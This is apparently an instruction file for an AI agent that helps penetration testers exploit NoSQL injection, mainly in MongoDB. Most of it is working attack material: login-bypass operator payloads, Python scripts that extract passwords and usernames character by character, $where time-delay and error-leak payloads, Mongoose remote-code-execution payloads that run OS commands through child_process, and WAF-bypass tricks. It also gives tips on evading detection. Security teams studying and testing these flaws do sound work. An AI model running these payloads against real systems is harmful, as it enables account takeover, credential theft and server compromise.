nosql-injection

name	nosql-injection
description	Guide NoSQL injection exploitation during authorized penetration testing.
keywords	["nosql injection","mongodb injection","nosqli","operator injection","$ne injection","$where injection","mongo auth bypass","nosql auth bypass","couchdb injection","mongoose injection","graphql nosql","nosql blind extraction"]
tools	["burpsuite (NoSQLi Scanner extension)","nosqlmap","nosqli"]
opsec	medium

NoSQL Injection

You are helping a penetration tester exploit NoSQL injection vulnerabilities. The target application passes user-controlled input to NoSQL database queries (typically MongoDB) without proper sanitization. The goal is to bypass authentication, extract data, or achieve code execution. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [nosql-injection] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• An input processed by a NoSQL database (URL param, form field, JSON body, GraphQL variable, API parameter)
• Common indicators: MongoDB-style error messages (MongoError, $operator), JSON-based APIs, Node.js/Express backends, Mongoose ORM
• Burp Suite with NoSQLi Scanner extension (optional)

Step 1: Assess

If not already provided, determine:

1. Database — MongoDB (most common), CouchDB, or other
   • MongoDB: look for ObjectId, $operator in errors, Node.js stack
   • CouchDB: look for _rev, _id, Futon/Fauxton admin panels
2. Injection format — URL-encoded parameters or JSON body
   • URL params with array notation: param[$ne]=value
   • JSON body: {"param": {"$ne": "value"}}
3. Injection point — which parameter accepts operators
4. Response behavior — different content for true/false conditions?

Quick Detection Probes

URL-encoded (test each parameter):

param[$ne]=test
param[$gt]=
param[$exists]=true

JSON body:

{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}

If the response changes (login succeeds, different content, different status code), the parameter accepts MongoDB operators.

Step 2: Authentication Bypass

The most common NoSQL injection — bypass login forms by injecting operators that make the query match any document.

URL-Encoded Bypass

# Match any username and password ($ne = not equal to garbage)
username[$ne]=toto&password[$ne]=toto

# Match all with regex
username[$regex]=.*&password[$regex]=.*

# Match any existing field
username[$exists]=true&password[$exists]=true

# Greater than empty string (matches everything)
username[$gt]=&password[$gt]=

# Target specific user with wildcard password
username=admin&password[$ne]=wrong

# Target admin with regex
username[$regex]=^admin&password[$ne]=wrong

JSON Body Bypass

{"username": {"$ne": null}, "password": {"$ne": null}}

{"username": {"$ne": ""}, "password": {"$ne": ""}}

{"username": {"$gt": ""}, "password": {"$gt": ""}}

{"username": "admin", "password": {"$ne": "wrong"}}

{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

$or Bypass

{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}

$in Operator — Enumerate Known Users

{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}

$nin — Exclude Known Users to Find Others

# Skip admin, find the next user
username[$nin][]=admin&password[$gt]=

Step 3: Blind Data Extraction

When operator injection works but data isn't directly reflected, extract values character by character using $regex.

Determine Field Length

# Test password length (adjust the number)
username=admin&password[$regex]=.{1}    # true if len >= 1
username=admin&password[$regex]=.{5}    # true if len >= 5
username=admin&password[$regex]=.{10}   # true if len >= 10
username=admin&password[$regex]=.{8}    # narrow down with binary search

Extract Value Character by Character

# Test first character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...
username=admin&password[$regex]=^m.*    # true — first char is 'm'

# Test second character
username=admin&password[$regex]=^ma.*
username=admin&password[$regex]=^mb.*
...
username=admin&password[$regex]=^md.*   # true — second char is 'd'

# Continue until full value extracted
username=admin&password[$regex]=^mdp$   # exact match confirms

Automated Blind Extraction — JSON POST

import requests
import string

url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation

while True:
    found = False
    for c in charset:
        if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
            c = '\\' + c  # escape regex metacharacters
        payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
            username, password + c)
        r = requests.post(url, data=payload, headers=headers,
                          allow_redirects=False)
        if r.status_code == 302 or 'dashboard' in r.text:
            password += c
            print(f"[+] Found: {password}")
            found = True
            break
    if not found:
        print(f"[*] Extracted password: {password}")
        break

Automated Blind Extraction — URL-Encoded POST

import requests
import string

url = "http://TARGET/login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + "_@{}-/()!$%=^[]:"

while True:
    found = False
    for c in charset:
        payload = f"user={username}&pass[$regex]=^{password + c}&login=submit"
        r = requests.post(url, data=payload, headers=headers,
                          allow_redirects=False)
        if r.status_code == 302:
            password += c
            print(f"[+] Found: {password}")
            found = True
            break
    if not found:
        print(f"[*] Extracted password: {password}")
        break

Enumerate Usernames

Discover unknown usernames by brute-forcing the username field:

import requests
import string

url = "http://TARGET/login"
charset = string.ascii_lowercase + string.digits + "_"

def extract_usernames(prefix=""):
    usernames = []
    for c in charset:
        payload = {"username": {"$regex": f"^{prefix + c}"},
                   "password": {"$regex": ".*"}}
        r = requests.post(url, json=payload, allow_redirects=False)
        if r.status_code == 302:
            for u in extract_usernames(prefix + c):
                usernames.append(u)
    if not usernames and prefix:
        usernames.append(prefix)
    return usernames

for user in extract_usernames():
    print(f"[+] Found username: {user}")

Step 4: Server-Side JavaScript ($where)

MongoDB's $where operator accepts JavaScript. If injection reaches a $where clause, it's equivalent to code execution within the database context.

$where Authentication Bypass

# SQL-style equivalents for $where context
' || 1==1//
' || 1==1%00
admin' || 'a'=='a

$where Data Extraction via Error

If the application reflects database errors:

{"$where": "this.username=='admin' && this.password=='x'; throw new Error(JSON.stringify(this));"}

Leaks the entire document (including password) in the error message.

$where Field Probing

# Check if password field exists
/?search=admin' && this.password%00

# Extract password character by character
/?search=admin' && this.password.match(/^a.*$/)%00
/?search=admin' && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password.match(/^mdp$/)%00

Time-Based Blind ($where)

When no response difference is visible:

';sleep(5000);'
';sleep(5000);+'
{"$where": "sleep(5000) || true"}

Loop-based delay (works when sleep() is disabled):

';it=new Date();do{pt=new Date();}while(pt-it<5000);'

If a 5-second delay is observed, $where execution is confirmed.

Mongoose RCE (CVE-2024-53900 / CVE-2025-23061)

Mongoose populate().match() forwards $where to Node.js instead of MongoDB, enabling OS command execution even when MongoDB's server-side JS is disabled:

# RCE via populate match
GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')

# Bypass for Mongoose 8.8.3-8.9.4 (nest under $or)
GET /posts?author[$or][0][$where]=global.process.mainModule.require('child_process').execSync('id')

Affects Mongoose <= 8.9.4. Fixed in 8.9.5 with sanitizeFilter: true.

Step 5: Advanced Techniques

Cross-Collection Access ($lookup)

If the injection reaches an aggregate() pipeline (not find()/findOne()), use $lookup to query other collections:

[
  {
    "$lookup": {
      "from": "users",
      "as": "leaked",
      "pipeline": [
        {
          "$match": {
            "password": {"$regex": "^.*"}
          }
        }
      ]
    }
  }
]

Returns documents from the users collection regardless of which collection the query originally targeted.

MongoLite Function Execution ($func)

PHP applications using Cockpit CMS (MongoLite library) support $func:

{"user": {"$func": "var_dump"}}

Executes arbitrary PHP functions with the field value as argument.

GraphQL Filter Injection

GraphQL resolvers that forward filter arguments to collection.find():

query {
  users(filter: { username: { "$ne": "" } }) {
    username
    email
  }
}

As a GraphQL variable:

{"f": {"$ne": {}}}

If the resolver does collection.find(args.filter) without sanitization, all documents are returned.

WAF Bypass — Duplicate Key

MongoDB uses the last value for duplicate keys:

{"username": "legitimate", "username": {"$ne": ""}, "password": {"$gt": ""}}

WAF validates the first username (legitimate string), MongoDB uses the second (operator injection).

Step 6: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

OPSEC Notes

• Operator injection ($ne, $regex) generates standard queries — low detection risk in application logs
• $where payloads execute JavaScript server-side — may be logged by MongoDB profiler and trigger anomaly detection
• Blind extraction generates many requests (one per character) — use rate limiting in scripts to avoid detection
• sleep() in $where blocks the MongoDB thread — can cause performance issues on production systems
• Mongoose RCE payloads execute OS commands — visible in process monitoring

Troubleshooting

Operators Not Accepted

• Check Content-Type: JSON body needs application/json, URL-encoded needs application/x-www-form-urlencoded
• The app may use express-mongo-sanitize or strip $ prefixes — try without $: param[ne]=value (some frameworks add it back)
• Try nested objects: {"param": {"$ne": ""}} vs flat param[$ne]=
• The backend may use an ORM that validates types — try $exists which only needs a boolean

Blind Extraction Fails

• Regex metacharacters must be escaped: \(, \), \., \*, \+, \?
• Some characters break URL encoding — use JSON body instead
• If $regex is blocked, try $where with this.field.match()
• Response may not differ on true/false — check status code, response size, Set-Cookie headers, and redirect location

$where Blocked

• MongoDB 7.0+ disables server-side JavaScript by default (--noscripting)
• Try operator-only attacks ($ne, $regex, $gt) which don't need JS
• Check for Mongoose populate().match() path (CVE-2024-53900) which executes $where in Node.js, not MongoDB

Automated Tools

# NoSQLMap — automated enumeration and exploitation
python nosqlmap.py -u "http://TARGET/login" --httpmethod POST \
  --requestdata "username=test&password=test" --injparam username

# nosqli — Go-based scanner
nosqli scan -t "http://TARGET/login" -p username,password

# Burp: Extensions → NoSQLi Scanner → right-click request → "Scan for NoSQLi"